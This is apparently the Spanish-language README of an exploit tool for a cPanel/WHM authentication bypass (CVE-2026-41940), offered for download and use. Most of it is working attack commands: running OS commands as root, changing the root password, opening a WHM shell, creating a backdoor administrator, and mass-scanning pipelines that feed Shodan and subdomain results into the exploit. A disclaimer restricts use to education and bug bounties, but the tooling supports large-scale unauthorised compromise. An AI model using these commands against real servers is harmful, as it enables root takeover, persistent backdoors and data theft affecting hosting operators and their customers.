
Explota el bypass de autenticación CVE-2026-41940 de cPanel/WHM mediante inyección de sesión CRLF para acceso a WHM a nivel root sin autenticación, luego enumera cuentas, ejecuta comandos del sistema operativo y abre un shell interactivo para pruebas autorizadas.
⚠ Esta herramienta se crea únicamente con fines educativos o de bug bounty. El uso no autorizado fuera de entornos controlados está estrictamente prohibido.
Una herramienta para explotar CVE-2026-41940, una omisión crítica de autenticación en cPanel y WHM (CVSS 10.0), que permite a atacantes no autenticados obtener acceso root a WHM inyectando secuencias CRLF en archivos de sesión del lado del servidor a través de la cabecera Authorization — sin necesidad de credenciales.
CVE-2026-41940, en términos generales, se explota mediante una falla en la forma en que el sistema maneja las sesiones de autenticación en cPanel/WHM. El ataque normalmente comienza con una petición normal a la interfaz de inicio de sesión, donde la aplicación inicializa una sesión prematuramente antes de validar completamente las credenciales del usuario. Debido al manejo inadecuado de las entradas relacionadas con la sesión, ciertas entradas manipuladas o inesperadas pueden alterar cómo se almacenan o interpretan los datos de sesión por parte del servidor.
| Versión | Vulnerable | Parcheada |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/lanicer/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py
La herramienta espera que se especifique un dominio objetivo.
Modo de objetivo único:
python cve.py -u https://target1.com:2083
También puedes escanear desde el archivo target.txt (créalo):
python cve.py -l target.txt -t 50 -o result.json
Comandos disponibles:
python cve.py -u https://victim1.com:2083 # single target scan
python cve.py info -u https://victim1.com:2083 # Retrieves system information (version, load, disk usage).
python cve.py host -u https://victim1.com:2083 # Retrieves the hostname of the target server.
# List all accounts on the server
python cve.py list -u https://target.com:2087
# OS command
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"
# Get server info (hostname, disk, MySQL host)
python cve.py info -u https://target.com:2087
# Change root password
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# Interactive WHM shell
python cve.py shell -u https://target.com:2087
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python cve.py scan -t 40 -o results.json
# From scope list
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python cve.py scan -t 30 -o results.json
# Shodan results
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python cve.py -t 30 -o shodan_results.json
# Multiple sources combined
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python cve.py -t 20 --action list
Tras una ejecución exitosa, puedes abrir un shell WHM interactivo:
python cve.py shell -u
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL Single target URL (e.g. https://host:2087)
-l, --list LIST File with URLs (one per line)
--hostname HOSTNAME Override canonical Host header (auto-discovered)
Scan:
-t, --threads N Concurrent threads (default: 10)
--timeout N Request timeout seconds (default: 15)
--rate-limit N Delay between targets (default: 0)
--force Skip cPanel detection check
Post-Exploit:
--action ACTION Action: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS New root password (--action passwd)
--cmd CMD OS command (--action cmd/exec)
--new-user USER New cPanel username (--action adduser)
--new-domain DOMAIN New cPanel domain (--action adduser)
Output:
-o, --output FILE Save results to JSON file
--no-color Disable ANSI colors
⚠ Esta herramienta se crea únicamente con fines educativos o de bug bounty. El uso no autorizado fuera de entornos controlados está estrictamente prohibido.
| Comando | Descripción |
|---|
id | Mostrar ID de usuario |
hostname | Obtener el hostname del servidor |
accounts | Listar todas las cuentas de usuario |
info | Carga, disco, host MySQL, versión |
cat <path> | Leer el contenido de un archivo |
exec <cmd> | Ejecutar un comando del sistema operativo |
newadmin <user> <pass> | Crear un administrador WHM como puerta trasera |
passwd <pass> | Cambiar la contraseña de root |
l [path] | Listar el directorio |
help | Mostrar todos los comandos |
exit | Salir del modo shell |